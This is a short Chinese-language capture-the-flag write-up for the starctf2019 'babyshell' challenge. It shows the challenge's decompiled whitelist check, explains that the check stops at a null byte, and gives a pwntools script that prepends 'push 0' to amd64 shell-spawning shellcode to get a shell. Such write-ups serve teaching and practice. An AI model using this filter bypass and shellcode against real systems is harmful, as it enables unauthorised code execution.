starctf2019-babyshell

介绍

starctf2019的一道题,出题人想出的有点挑战,奈何代码出现了失误,很容易就被绕过了。

分析程序

程序很简单,读入shellcode,做检查,check过了就执行shellcode。

这个检查规定了你的shellcode必须为指定的字符,但是检查到’\x00’就停止检查,所以很容易被绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int __fastcall check(char *a1)
{
char *i; // [rsp+10h] [rbp-18h]
char *j; // [rsp+18h] [rbp-10h]

for ( i = a1; *i; ++i )
{
for ( j = table; *j && *j != *i; ++j )
;
if ( !*j )
return 0;
}
return 1;
}

利用方式

我们需要产生一个’\x00’来绕过检查,很容易想到的就是push 0,或者pop 0。而push 0正好是’j\x00’,而’j’在允许的table表中,所以在shellcode前面加上push 0即可。

脚本

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

p = process('./shellcode')

p.send(asm('push 0') + asm(shellcraft.amd64.sh(),arch='amd64'))

p.interactive()